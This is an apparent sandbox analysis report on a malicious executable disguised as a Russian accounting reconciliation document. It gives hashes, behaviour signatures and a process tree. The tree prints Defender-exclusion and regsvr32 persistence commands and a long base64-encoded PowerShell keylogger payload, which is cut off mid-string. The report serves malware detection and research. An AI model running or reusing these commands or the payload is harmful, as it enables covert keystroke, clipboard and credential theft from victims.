Overview

overview

10

Static

static

1

Акт с�...23.exe

windows7-x64

10

Акт с�...23.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    152s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/10/2023, 06:15

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target

    Акт сверки №534-23 от 29.09.2023.exe

  • Size

    428KB

  • MD5

    4d55bc5abece2347b6d6d5aeff30762d

  • SHA1

    2463aa8fd7892570129419a6bddc666e2a958e40

  • SHA256

    dcbc8f19ea881e76630d0371b6818b9a06e398934598dc31007e35d4df20ea10

  • SHA512

    fd61b6ffba57045f88796e1e155773bdfb3fca5f3d473742213bfe4fb50001b7bf556746c2c769081ad70cf8d80200dc82f9f2c82ed7efd9d95dc06463bd4dda

  • SSDEEP

    6144:tOYGXaPNxdgSdcq2pVZPOJHAbK//Ufjfd7Z8llqXEdv8tT4:pGqN/XdctpVtkP/uDd72d8a

Score
10/10
persistence

Malware Config

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Registers COM server for autorun 1 TTPs 2 IoCs
    persistence
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 12 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Акт сверки №534-23 от 29.09.2023.exe
    "C:\Users\Admin\AppData\Local\Temp\Акт сверки №534-23 от 29.09.2023.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1944
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c (start /MIN powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:") & (start /MIN wscript.exe /E:jscript 826923272 101 "C:\Users\Admin\AppData\Local\Temp\Акт сверки №534-23 от 29.09.2023.exe")
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:740
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3168
      • C:\Windows\SysWOW64\wscript.exe
        wscript.exe /E:jscript 826923272 101 "C:\Users\Admin\AppData\Local\Temp\Акт сверки №534-23 от 29.09.2023.exe"
        3⤵
        • Checks computer location settings
        • Modifies registry class
        • Suspicious behavior: RenamesItself
        • Suspicious use of WriteProcessMemory
        PID:1520
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1232
        • C:\Windows\SysWOW64\regsvr32.exe
          "C:\Windows\System32\regsvr32.exe" /i /s "C:\Users\Admin\AppData\Local\dynwrapx.dll"
          4⤵
          • Loads dropped DLL
          • Registers COM server for autorun
          • Modifies registry class
          PID:3852
  • C:\Windows\SysWOW64\wscript.exe
    C:\Windows\SysWOW64\wscript.exe "C:\Users\Admin\AppData\Local\94bad8470.js" 101
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Modifies registry class
    PID:1380
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc QQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsAdQBzAGkAbgBnACAATQBpAGMAcgBvAHMAbwBmAHQALgBXAGkAbgAzADIAOwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEkATwA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzADsAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMAOwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEMAbwBsAGwAZQBjAHQAaQBvAG4AcwAuAEcAZQBuAGUAcgBpAGMAOwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQAOwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEEAYwBjAGUAcwBzAEMAbwBuAHQAcgBvAGwAOwBuAGEAbQBlAHMAcABhAGMAZQAgAG4AMQB7AHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABpADIAewBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABsADMAIABuADQAIAA9ACAAaAA1ADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAZQA2ACAAYwA3ACAAPQAgAGsAOAA7AHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAEkAbgB0AFAAdAByACAAaQA5ACAAPQAgAEkAbgB0AFAAdAByAC4AWgBlAHIAbwA7AHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABvADEAMAAgAGQAMQAxADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAdQBpAG4AdAAgAGsAMQAyADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAdQBpAG4AdAAgAGsAMQAzADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAdQBpAG4AdAAgAGQAMQA0ADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgAG4AMQA1ADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgAGUAMQA2ADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgAGcAMQA3ADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAcwB0AHIAaQBuAGcAIABlADEAOAA7AHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAHMAdAByAGkAbgBnACAAZAAxADkAOwBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABzAHQAcgBpAG4AZwAgAHAAMgAwADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAcwB0AHIAaQBuAGcAIABsADIAMQA7AHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAHMAdAByAGkAbgBnACAAaAAyADIAOwBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABzAHQAcgBpAG4AZwAgAGUAMgAzADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAcwB0AHIAaQBuAGcAIABrADIANAA7AHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAHMAdAByAGkAbgBnACAAZAAyADUAOwBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABzAHQAcgBpAG4AZwAgAGoAMgA2ADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAASQBuAHQAUAB0AHIAIABhADIANwA7AFsAUwB0AHIAdQBjAHQATABhAHkAbwB1AHQAKABMAGEAeQBvAHUAdABLAGkAbgBkAC4AUwBlAHEAdQBlAG4AdABpAGEAbAAsACAAQwBoAGEAcgBTAGUAdAAgAD0AIABDAGgAYQByAFMAZQB0AC4AQQBuAHMAaQApAF0AcAB1AGIAbABpAGMAIABzAHQAcgB1AGMAdAAgAGsAMgA4AHsAcAB1AGIAbABpAGMAIABzAHQAcgBpAG4AZwAgAGEAMgA5ADsAcAB1AGIAbABpAGMAIABJAG4AdABQAHQAcgAgAGcAMwAwADsAcAB1AGIAbABpAGMAIABVAEkAbgB0ADMAMgAgAGwAMwAxADsAcAB1AGIAbABpAGMAIABVAEkAbgB0ADMAMgAgAGMAMwAyADsAcAB1AGIAbABpAGMAIABVAEkAbgB0ADMAMgAgAGsAMwAzADsAWwBNAGEAcgBzAGgAYQBsAEEAcwAoAFUAbgBtAGEAbgBhAGcAZQBkAFQAeQBwAGUALgBCAHkAVgBhAGwAQQByAHIAYQB5ACwAIABTAGkAegBlAEMAbwBuAHMAdAAgAD0AIAAzADYAKQBdAHAAdQBiAGwAaQBjACAAYgB5AHQAZQBbAF0AIABjADMANAA7AH0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAHYAbwBpAGQAIABSAHUAbgAoAG8AMQAwACAAZAAzADUAKQB7AGQAMQAxACAAPQAgAGQAMwA1ADsAZwAxADcAIAA9ACAAbgBlAHcAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBTAHQAcgBpAG4AZwBCAHUAaQBsAGQAZQByACgAKQA7AGQAMQA5ACAAPQAgACIAUwBvAGYAdAB3AGEAcgBlAFwAXABNAGkAYwByAG8AcwBvAGYAdABcAFwAVwBpAG4AZABvAHcAcwBcAFwARABXAE0AIgA7AHAAMgAwACAAPQAgACIASABLAEUAWQBfAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAFwAXAAiACAAKwAgAGQAMQA5ADsAagAyADYAIAA9ACAARQBuAHYAaQByAG8AbgBtAGUAbgB0AC4ARwBlAHQARQBuAHYAaQByAG8AbgBtAGUAbgB0AFYAYQByAGkAYQBiAGwAZQAoACIAaABlAHgAOAA7ACIAKQA7AGkAZgAgACgAagAyADYAIAA9AD0AIABuAHUAbABsACkAIABqADIANgAgAD0AIAAiADEAMgAzADQANQA2ADcAOAAiADsAbAAyADEAIAA9ACAAagAyADYAIAArACAAIgBhACIAOwBoADIAMgAgAD0AIABqADIANgAgACsAIAAiAGQAIgA7AGUAMgAzACAAPQAgAGoAMgA2ACAAKwAgACIAcwAiADsAawAyADQAIAA9ACAAagAyADYAIAArACAAIgBtACIAOwB1AGkAbgB0ACAAagAzADYAIAA9ACAATwBwAGUAbgBNAHUAdABlAHgAKAAwAHgAMAAwADEAMAAwADAAMAAwACwAIABmAGEAbABzAGUALAAgAGsAMgA0ACkAOwBpAGYAIAAoAGoAMwA2ACAAIQA9ACAAMAApACAARQB4AGkAdABQAHIAbwBjAGUAcwBzACgAMAApADsAQwByAGUAYQB0AGUATQB1AHQAZQB4ACgASQBuAHQAUAB0AHIALgBaAGUAcgBvACwAIAB0AHIAdQBlACwAIABrADIANAApADsAYQAyADcAIAA9ACAASQBuAHQAUAB0AHIALgBaAGUAcgBvADsAaQBmACAAKABTAEMAYQByAGQARQBzAHQAYQBiAGwAaQBzAGgAQwBvAG4AdABlAHgAdAAoADIALAAgAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAsACAASQBuAHQAUAB0AHIALgBaAGUAcgBvACwAIABvAHUAdAAgAGEAMgA3ACkAIAAhAD0AIAAwACkAIABhADIANwAgAD0AIABJAG4AdABQAHQAcgAuAFoAZQByAG8AOwBlADEAOAAgAD0AIAAiACIAOwBrADEAMwAgAD0AIABHAGUAdABGAG8AcgBlAGcAcgBvAHUAbgBkAFcAaQBuAGQAbwB3ACgAKQA7AGkAbgB0ACAAaAAzADcAIAA9ACAARwBlAHQAVwBpAG4AZABvAHcAVABlAHgAdABMAGUAbgBnAHQAaAAoAGsAMQAzACkAOwBlADEANgAgAD0AIABuAGUAdwAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAKABoADMANwAgACsAIAAxACkAOwBHAGUAdABXAGkAbgBkAG8AdwBUAGUAeAB0ACgAawAxADMALAAgAGUAMQA2ACwAIABoADMANwAgACsAIAAxACkAOwB1AGkAbgB0ACAAZAAxADQAIAA9ACAAMAA7AEcAZQB0AFcAaQBuAGQAbwB3AFQAaAByAGUAYQBkAFAAcgBvAGMAZQBzAHMASQBkACgAawAxADMALAAgAHIAZQBmACAAZAAxADQAKQA7AFAAcgBvAGMAZQBzAHMAIABvADMAOAAgAD0AIABQAHIAbwBjAGUAcwBzAC4ARwBlAHQAUAByAG8AYwBlAHMAcwBCAHkASQBkACgAKABpAG4AdAApAGQAMQA0ACkAOwBpAGYAIAAoAG8AMwA4ACAAIQA9ACAAbgB1AGwAbAApACAAZAAyADUAIAA9ACAAbwAzADgALgBQAHIAbwBjAGUAcwBzAE4AYQBtAGUAOwAgAGUAbABzAGUAIABkADIANQAgAD0AIAAiACIAOwBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAsACAAMAAsACAAYwA3ACwAIABJAG4AdABQAHQAcgAuAFoAZQByAG8ALAAgADAALAAgAEkAbgB0AFAAdAByAC4AWgBlAHIAbwApADsAaQA5ACAAPQAgAGUAMwA5ACgAbgA0ACkAOwBBAHAAcABsAGkAYwBhAHQAaQBvAG4ALgBSAHUAbgAoACkAOwBVAG4AaABvAG8AawBXAGkAbgBkAG8AdwBzAEgAbwBvAGsARQB4ACgAaQA5ACkAOwB9AHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAEkAbgB0AFAAdAByACAAZQAzADkAKABsADMAIABuADQAKQB7AEkAbgB0AFAAdAByACAAcAA0ADAAIAA9ACAARwBlAHQATQBvAGQAdQBsAGUASABhAG4AZABsAGUAKABQAHIAbwBjAGUAcwBzAC4ARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBNAG8AZAB1AGwAZQBOAGEAbQBlACkAOwByAGUAdAB1AHIAbgAgAFMAZQB0AFcAaQBuAGQAbwB3AHMASABvAG8AawBFAHgAKAAxADMALAAgAG4ANAAsACAAcAA0ADAALAAgADAAKQA7AH0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAdgBvAGkAZAAgAGkANAAxACgAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgAG8ANAAyACwAIABzAHQAcgBpAG4AZwAgAGkANAAzACwAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBTAHQAcgBpAG4AZwBCAHUAaQBsAGQAZQByACAAYgA0ADQAKQB7AHQAcgB5AHsAcwB0AHIAaQBuAGcAIABpADQANQBkAGEAdABhAF8AIAA9ACAAUgBlAGcAaQBzAHQAcgB5AC4ARwBlAHQAVgBhAGwAdQBlACgAcAAyADAALAAgAGwAMgAxACwAIAAiACIAKQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAOwBpADQANQBkAGEAdABhAF8AIAA9ACAAaQA0ADUAZABhAHQAYQBfACAAKwAgAEQAYQB0AGUAVABpAG0AZQAuAE4AbwB3ACAAKwAgACIAIABbACIAIAArACAAbwA0ADIALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIAXQAgAC0AIAAiACAAKwAgAGkANAAzACAAKwAgACIAXAByAFwAbgAiACAAKwAgAGIANAA0AC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAiAFwAcgBcAG4AXAByAFwAbgAiADsAUgBlAGcAaQBzAHQAcgB5AC4AUwBlAHQAVgBhAGwAdQBlACgAcAAyADAALAAgAGwAMgAxACwAIABpADQANQBkAGEAdABhAF8AKQA7AH0AYwBhAHQAYwBoACAAewAgAH0AfQBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABpAG4AdAAgAGEANAA2ACgASQBuAHQAUAB0AHIAIABnADQANwApAHsAcgBlAHQAdQByAG4AIABNAGEAcgBzAGgAYQBsAC4AUgBlAGEAZABJAG4AdAAzADIAKABnADQANwApADsAfQBwAHIAaQB2AGEAdABlACAAZABlAGwAZQBnAGEAdABlACAASQBuAHQAUAB0AHIAIABsADMAKABpAG4AdAAgAGEANAA4ACwAIABJAG4AdABQAHQAcgAgAGIANAA5ACwAIABJAG4AdABQAHQAcgAgAGcANQAwACkAOwBwAHUAYgBsAGkAYwAgAGQAZQBsAGUAZwBhAHQAZQAgAHUAaQBuAHQAIABlADYAKABJAG4AdABQAHQAcgAgAHAAUABhAHIAYQBtACkAOwBwAHUAYgBsAGkAYwAgAGQAZQBsAGUAZwBhAHQAZQAgAHYAbwBpAGQAIABvADEAMAAoACkAOwBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABJAG4AdABQAHQAcgAgAGgANQAoAGkAbgB0ACAAYQA0ADgALAAgAEkAbgB0AFAAdAByACAAYgA0ADkALAAgAEkAbgB0AFAAdAByACAAZwA1ADAAKQB7AGkAZgAgACgAYQA0ADgAIAA+AD0AIAAwACAAJgAmACAAYgA0ADkAIAA9AD0AIAAoAEkAbgB0AFAAdAByACkAMAB4ADAAMQAwADAAKQB7AGkAbgB0ACAAZQA1ADEAIAA9ACAAYQA0ADYAKABnADUAMAApADsAaQBmACAAKABlADUAMQAgADwAIAA4ACkAIAByAGUAdAB1AHIAbgAgAEMAYQBsAGwATgBlAHgAdABIAG8AbwBrAEUAeAAoAGkAOQAsACAAYQA0ADgALAAgAGIANAA5ACwAIABnADUAMAApADsAZAAxADEAKAApADsAYgBvAG8AbAAgAGsANQAyACAAPQAgACgAZQA1ADEAIAA9AD0AIAA4ACkAOwBiAG8AbwBsACAAbwA1ADMAIAA9ACAAKABlADUAMQAgAD0APQAgADQANgApADsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgAG0ANQA0ACAAPQAgAG4AZQB3ACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAoACkAOwBiAHkAdABlAFsAXQAgAGwANQA1ACAAIAA9ACAAbgBlAHcAIABiAHkAdABlAFsAMgA1ADUAXQA7AGkAZgAgACgARwBlAHQASwBlAHkAYgBvAGEAcgBkAFMAdABhAHQAZQAoAGwANQA1ACkAKQB7AHUAaQBuAHQAIABkADUANgAgAD0AIABNAGEAcABWAGkAcgB0AHUAYQBsAEsAZQB5ACgAZQA1ADEALAAgADMAKQA7AGsAMQAyACAAPQAgAEcAZQB0AEYAbwByAGUAZwByAG8AdQBuAGQAVwBpAG4AZABvAHcAKAApADsAdQBpAG4AdAAgAGMANQA3ACAAPQAgADAAOwB1AGkAbgB0ACAAYQA1ADgAIAA9ACAARwBlAHQAVwBpAG4AZABvAHcAVABoAHIAZQBhAGQAUAByAG8AYwBlAHMAcwBJAGQAKABrADEAMgAsACAAcgBlAGYAIABjADUANwApADsAdQBpAG4AdAAgAG4ANQA5ACAAPQAgAEcAZQB0AEsAZQB5AGIAbwBhAHIAZABMAGEAeQBvAHUAdAAoAGEANQA4ACkAOwBpAGYAIAAoAGsANQAyACAAfAB8ACAAbwA1ADMAIAB8AHwAIAAoAFQAbwBVAG4AaQBjAG8AZABlAEUAeAAoAGUANQAxACwAIABkADUANgAsACAAbAA1ADUALAAgAG0ANQA0ACwAIABtADUANAAuAEMAYQBwAGEAYwBpAHQAeQAsACAAKAB1AGkAbgB0ACkAMAAsACAAbgA1ADkAKQAgAD4AIAAwACkAKQB7AGkAbgB0ACAAaAAzADcAIAA9ACAARwBlAHQAVwBpAG4AZABvAHcAVABlAHgAdABMAGUAbgBnAHQAaAAoAGsAMQAyACkAOwBuADEANQAgAD0AIABuAGUAdwAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAKABoADMANwAgACsAIAAxACkAOwBHAGUAdABXAGkAbgBkAG8AdwBUAGUAeAB0ACgAawAxADIALAAgAG4AMQA1ACwAIABoADMANwAgACsAIAAxACkAOwBpAGYAIAAoACgAYwA1ADcAIAAhAD0AIABkADEANAApACAAfAB8ACAAKABrADEAMgAgACEAPQAgAGsAMQAzACkAIAB8AHwAIAAoAGUAMQA2AC4AVABvAFMAdAByAGkAbgBnACgAKQAgACEAPQAgAG4AMQA1AC4AVABvAFMAdAByAGkAbgBnACgAKQApACkAewBpADQAMQAoAGUAMQA2ACwAIABkADIANQAsACAAZwAxADcAKQA7AGUAMQA2AC4AUgBlAG0AbwB2AGUAKAAwACwAIABlADEANgAuAEwAZQBuAGcAdABoACkAOwBlADEANgAuAEEAcABwAGUAbgBkACgAbgAxADUAKQA7AGcAMQA3AC4AUgBlAG0AbwB2AGUAKAAwACwAIABnADEANwAuAEwAZQBuAGcAdABoACkAOwBrADEAMwAgAD0AIABrADEAMgA7AFAAcgBvAGMAZQBzAHMAIABvADMAOAAgAD0AIABQAHIAbwBjAGUAcwBzAC4ARwBlAHQAUAByAG8AYwBlAHMAcwBCAHkASQBkACgAKABpAG4AdAApAGMANQA3ACkAOwBpAGYAIAAoAG8AMwA4ACAAIQA9ACAAbgB1AGwAbAApACAAZAAyADUAIAA9ACAAbwAzADgALgBQAHIAbwBjAGUAcwBzAE4AYQBtAGUAOwAgAGUAbABzAGUAIABkADIANQAgAD0AIAAiACIAOwBkADEANAAgAD0AIABjADUANwA7AH0AaQBmACAAKABlADUAMQAgAD4AIAA3ACkAewBpAGYAIAAoAGsANQAyACkAIABnADEANwAuAEEAcABwAGUAbgBkACgAIgBbAKsAXQAiACkAOwBlAGwAcwBlACAAaQBmACAAKABvADUAMwApACAAZwAxADcALgBBAHAAcABlAG4AZAAoACIAWwBkAGUAbABdACIAKQA7AGUAbABzAGUAIABnADEANwAuAEEAcABwAGUAbgBkACgAbQA1ADQAKQA7AH0AfQB9AH0AcgBlAHQAdQByAG4AIABDAGEAbABsAE4AZQB4AHQASABvAG8AawBFAHgAKABpADkALAAgAGEANAA4ACwAIABiADQAOQAsACAAZwA1ADAAKQA7AH0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAATABpAHMAdAA8AHMAdAByAGkAbgBnAD4AIABhADYAMAAoAGIAeQB0AGUAWwBdACAAbgA2ADEAKQB7AHMAdAByAGkAbgBnACAAbwA2ADIAIAA9ACAARQBuAGMAbwBkAGkAbgBnAC4AQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABuADYAMQApADsAaQBmACAAKABzAHQAcgBpAG4AZwAuAEkAcwBOAHUAbABsAE8AcgBFAG0AcAB0AHkAKABvADYAMgApACkAIAByAGUAdAB1AHIAbgAgAG4AZQB3ACAATABpAHMAdAA8AHMAdAByAGkAbgBnAD4AKAApADsAcgBlAHQAdQByAG4AIABuAGUAdwAgAEwAaQBzAHQAPABzAHQAcgBpAG4AZwA+ACgAbwA2ADIALgBTAHAAbABpAHQAKABuAGUAdwAgAGMAaABhAHIAWwBdACAAewAgACcAXAAwACcAIAB9ACwAIABTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwAuAFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkAKQA7AH0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAdQBpAG4AdAAgAGsAOAAoAEkAbgB0AFAAdAByACAAbgA2ADMAKQB7AGIAbwBvAGwAIABpADYANAAgAD0AIAB0AHIAdQBlADsAcwB0AHIAaQBuAGcAIABsADYANQA7AFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAIABvADYANgAgAD0AIABuAGUAdwAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAKAApADsAdwBoAGkAbABlACAAKABpADYANAApAHsAcwB0AHIAaQBuAGcAIABwADYANwAgAD0AIABSAGUAZwBpAHMAdAByAHkALgBHAGUAdABWAGEAbAB1AGUAKABwADIAMAAsACAAZQAyADMALAAgACIAIgApAC4AVABvAFMAdAByAGkAbgBnACgAKQA7AGkAZgAgACgAcAA2ADcAIAAhAD0AIAAiACIAKQB7AFIAZQBnAGkAcwB0AHIAeQBLAGUAeQAgAGEANgA4ACAAPQAgAFIAZQBnAGkAcwB0AHIAeQAuAEMAdQByAHIAZQBuAHQAVQBzAGUAcgAuAE8AcABlAG4AUwB1AGIASwBlAHkAKABkADEAOQAsACAAdAByAHUAZQApADsAaQBmACAAKABhADYAOAAgACEAPQAgAG4AdQBsAGwAKQB7AGEANgA4AC4ARABlAGwAZQB0AGUAVgBhAGwAdQBlACgAZQAyADMAKQA7AGEANgA4AC4AQwBsAG8AcwBlACgAKQA7AH0ARQB4AGkAdABQAHIAbwBjAGUAcwBzACgAMAApADsAfQBpAGYAIAAoAEMAbABpAHAAYgBvAGEAcgBkAC4AQwBvAG4AdABhAGkAbgBzAFQAZQB4AHQAKAApACAAPQA9ACAAdAByAHUAZQApAHsAbAA2ADUAIAA9ACAAQwBsAGkAcABiAG8AYQByAGQALgBHAGUAdABUAGUAeAB0ACgAKQA7AGkAZgAgACgAbAA2ADUAIAAhAD0AIABlADEAOAApAHsAcwB0AHIAaQBuAGcAIABwADYAOQAgAD0AIAAiACIAOwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBTAHQAcgBpAG4AZwBCAHUAaQBsAGQAZQByACAAbgA3ADAAIAA9ACAAbgBlAHcAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBTAHQAcgBpAG4AZwBCAHUAaQBsAGQAZQByACgAKQA7AGsAMQAyACAAPQAgAEcAZQB0AEYAbwByAGUAZwByAG8AdQBuAGQAVwBpAG4AZABvAHcAKAApADsAaQBmACAAKABrADEAMgAgACEAPQAgADAAKQB7AGkAbgB0ACAAaAAzADcAIAA9ACAARwBlAHQAVwBpAG4AZABvAHcAVABlAHgAdABMAGUAbgBnAHQAaAAoAGsAMQAyACkAOwBuADcAMAAuAEMAYQBwAGEAYwBpAHQAeQAgAD0AIABoADMANwAgACsAIAAxADsARwBlAHQAVwBpAG4AZABvAHcAVABlAHgAdAAoAGsAMQAyACwAIABuADcAMAAsACAAaAAzADcAIAArACAAMQApADsAdQBpAG4AdAAgAF8AcAByAG8AYwBfAGkAZABfACAAPQAgADAAOwBpAGYAIAAoAEcAZQB0AFcAaQBuAGQAbwB3AFQAaAByAGUAYQBkAFAAcgBvAGMAZQBzAHMASQBkACgAawAxADIALAAgAHIAZQBmACAAXwBwAHIAbwBjAF8AaQBkAF8AKQAgACEAPQAgADAAKQB7AFAAcgBvAGMAZQBzAHMAIABlADcAMQAgAD0AIABQAHIAbwBjAGUAcwBzAC4ARwBlAHQAUAByAG8AYwBlAHMAcwBCAHkASQBkACgAKABpAG4AdAApAF8AcAByAG8AYwBfAGkAZABfACkAOwBpAGYAIAAoAGUANwAxACAAIQA9ACAAbgB1AGwAbAApACAAcAA2ADkAIAA9ACAAZQA3ADEALgBQAHIAbwBjAGUAcwBzAE4AYQBtAGUAOwB9AH0AbgA3ADAALgBBAHAAcABlAG4AZAAoACIAIAA6ADoAIABDAGwAaQBwAGIAbwBhAHIAZAAiACkAOwBvADYANgAuAFIAZQBtAG8AdgBlACgAMAAsACAAbwA2ADYALgBMAGUAbgBnAHQAaAApADsAbwA2ADYALgBBAHAAcABlAG4AZAAoAGwANgA1ACkAOwBpADQAMQAoAG4ANwAwACwAIABwADYAOQAsACAAbwA2ADYAKQA7AGUAMQA4ACAAPQAgAGwANgA1ADsAfQB9AHMAdAByAGkAbgBnACAAbAA3ADIAIAA9ACAAIgAiADsAawAyADgAIABwADcAMwA7AGkAZgAgACgAYQAyADcAIAAhAD0AIABJAG4AdABQAHQAcgAuAFoAZQByAG8AKQB7AHUAaQBuAHQAIABhADcANAAgAD0AIAAxADAAMAAwADAAOwBiAHkAdABlAFsAXQAgAG4ANwA1ACAAPQAgAG4AZQB3ACAAYgB5AHQAZQBbAGEANwA0AF0AOwBpAGYAIAAoAFMAQwBhAHIAZABMAGkAcwB0AFIAZQBhAGQAZQByAHMAKABhADIANwAsACAAbgB1AGwAbAAsACAAbgA3ADUALAAgAG8AdQB0ACAAYQA3ADQAKQAgAD0APQAgADAAKQB7AEwAaQBzAHQAPABzAHQAcgBpAG4AZwA+ACAAawA3ADYAIAA9ACAAYQA2ADAAKABuADcANQApADsAaQBuAHQAIABqADcANwAgAD0AIABrADcANgAuAEMAbwB1AG4AdAA7AGkAZgAgACgAagA3ADcAIAA+ACAAMAApAHsAaQBuAHQAIABmADcAOAAgAD0AIAAwADsAawAyADgAWwBdACAAZgA3ADkAIAA9ACAAbgBlAHcAIABrADIAOABbAGoANwA3AF0AOwBmAG8AcgBlAGEAYwBoACAAKABzA